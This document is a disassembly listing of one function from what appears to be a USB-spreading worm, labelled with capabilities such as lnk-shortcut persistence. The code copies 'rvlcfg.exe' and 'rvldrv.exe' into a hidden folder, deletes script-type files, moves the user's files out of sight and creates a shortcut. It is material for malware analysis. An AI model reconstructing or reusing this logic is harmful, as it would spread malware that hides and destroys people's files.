Function at 0x406950
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1510
call sub.ntdll.dll__chkstk
mov eax, dword [ebp + 0x10]
and eax, 0x80000
je 0x40696e
xor al, al
jmp 0x406fd4
mov dword [ebp - 0x824], 0x41530c
mov byte [ebp - 0xe41], 0
mov ecx, dword [ebp + 0xc]
push ecx
push str._s.lnk
lea edx, [ebp - 0x618]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x41138c
lea edx, [ebp - 0x12a0]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s_rvlcfg.exe
lea edx, [ebp - 0x14b0]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x618]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x4113bc
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edx, dword [ebp - 0x824]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_s_rvldrv.exe
lea ecx, [ebp - 0xa30]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x14b0]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406a84
lea eax, [ebp - 0x14b0]
push eax
call fcn.0040f1f0
add esp, 4
mov dword [ebp - 0x14b4], eax
mov ecx, dword [0x416e98]
cmp ecx, dword [ebp - 0x14b4]
je 0x406a84
push 0x80
lea edx, [ebp - 0x14b0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x14b0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x14b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406b34
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406ac9
push 0x80
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x12a0]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406afc
push 0
lea eax, [ebp - 0x12a0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x406afc
push 2
lea ecx, [ebp - 0x12a0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x12a0]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406b34
push 0
lea eax, [ebp - 0x14b0]
push eax
push 0x416ea0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406b34
push 2
lea ecx, [ebp - 0x14b0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
movzx edx, byte [0x4170a8]
test edx, edx
jne 0x406b65
call fcn.00406510
movzx eax, al
cmp eax, 1
jne 0x406b65
mov byte [0x4170a8], 1
push 0x416c90
call fcn.0040f1f0
add esp, 4
mov dword [0x416e9c], eax
lea ecx, [ebp - 0xa30]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406bb7
lea edx, [ebp - 0xa30]
push edx
call fcn.0040f1f0
add esp, 4
mov dword [ebp - 0x14b8], eax
mov eax, dword [0x416e9c]
cmp eax, dword [ebp - 0x14b8]
je 0x406bb7
push 0x80
lea ecx, [ebp - 0xa30]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406c3a
movzx ecx, byte [0x4170a8]
cmp ecx, 1
jne 0x406c3a
push 0x416c90
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406c3a
push 0
lea edx, [ebp - 0xa30]
push edx
push 0x416c90
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406c3a
push 2
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406c3a
push 0x80
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406ce5
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406c9c
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x406c82
push 1
push 9
push 0x4113f8
lea ecx, [ebp - 0xc38]
push ecx
call fcn.004066d0
add esp, 0x10
jmp 0x406c9a
push 1
push 8
push 0x411410
lea edx, [ebp - 0xc38]
push edx
call fcn.004066d0
add esp, 0x10
jmp 0x406cd6
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x406cbe
push 0
push 9
push 0x411428
lea ecx, [ebp - 0xc38]
push ecx
call fcn.004066d0
add esp, 0x10
jmp 0x406cd6
push 0
push 8
push str.shell32.dll
lea edx, [ebp - 0xc38]
push edx
call fcn.004066d0
add esp, 0x10
push 1
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x1098]
push ecx
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x12a4], eax
cmp dword [ebp - 0x12a4], 0xffffffff
je 0x406fce
mov dword [ebp - 0x1504], str..lnk
mov dword [ebp - 0x1500], str..vbs
mov dword [ebp - 0x14fc], str..js
mov dword [ebp - 0x14f8], str..scr
mov dword [ebp - 0x14f4], str..com
mov dword [ebp - 0x14f0], str..jse
mov dword [ebp - 0x14ec], str..cmd
mov dword [ebp - 0x14e8], str..pif
mov dword [ebp - 0x14e4], str..jar
mov dword [ebp - 0x14e0], str..dll
mov dword [ebp - 0x14dc], str..vbe
mov dword [ebp - 0x14d8], str..bat
mov dword [ebp - 0x14d4], str..inf
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0x14d0], eax
lea ecx, [ebp - 0x618]
mov dword [ebp - 0x14cc], ecx
mov dword [ebp - 0x14c8], str.Thumbs.db
mov dword [ebp - 0x14c4], str._RECYCLE.BIN
mov dword [ebp - 0x14c0], str.desktop.ini
mov dword [ebp - 0x14bc], str.System_Volume_Information
push 0x411570
lea edx, [ebp - 0x106c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406dfa
push 0x411574
lea eax, [ebp - 0x106c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x406dff
jmp 0x406fa5
mov byte [ebp - 0x1506], 0
mov dword [ebp - 0x150c], 0
jmp 0x406e21
mov ecx, dword [ebp - 0x150c]
add ecx, 1
mov dword [ebp - 0x150c], ecx
cmp dword [ebp - 0x150c], 6
jae 0x406e56
mov edx, dword [ebp - 0x150c]
mov eax, dword [ebp + edx*4 - 0x14d0]
push eax
lea ecx, [ebp - 0x106c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x406e4b
jmp 0x406e12
mov byte [ebp - 0x1506], 1
jmp 0x406e56
movzx edx, byte [ebp - 0x1506]
test edx, edx
je 0x406e66
jmp 0x406fa5
mov byte [ebp - 0x1505], 0
mov dword [ebp - 0x1510], 0
jmp 0x406e88
mov eax, dword [ebp - 0x1510]
add eax, 1
mov dword [ebp - 0x1510], eax
cmp dword [ebp - 0x1510], 0xd
jae 0x406eff
mov ecx, dword [ebp - 0x1510]
mov edx, dword [ebp + ecx*4 - 0x1504]
push edx
lea eax, [ebp - 0x106c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x406eb2
jmp 0x406e79
lea ecx, [ebp - 0x106c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x41157c
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x820]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x1505], 1
jmp 0x406eff
movzx eax, byte [ebp - 0x1505]
test eax, eax
je 0x406f0f
jmp 0x406fa5
lea ecx, [ebp - 0x12a0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406f25
jmp 0x406fa5
lea edx, [ebp - 0x106c]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x411588
lea ecx, [ebp - 0xe40]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x106c]
push edx
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s_s
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov eax, dword [ebp - 0x1098]
and eax, 0x10
je 0x406f8f
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0xe40]
push edx
call fcn.00406810
add esp, 8
jmp 0x406fa5
push 9
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0xe40]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0x1098]
push edx
mov eax, dword [ebp - 0x12a4]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406dce
mov ecx, dword [ebp - 0x12a4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0xe41]
mov esp, ebp
pop ebp
ret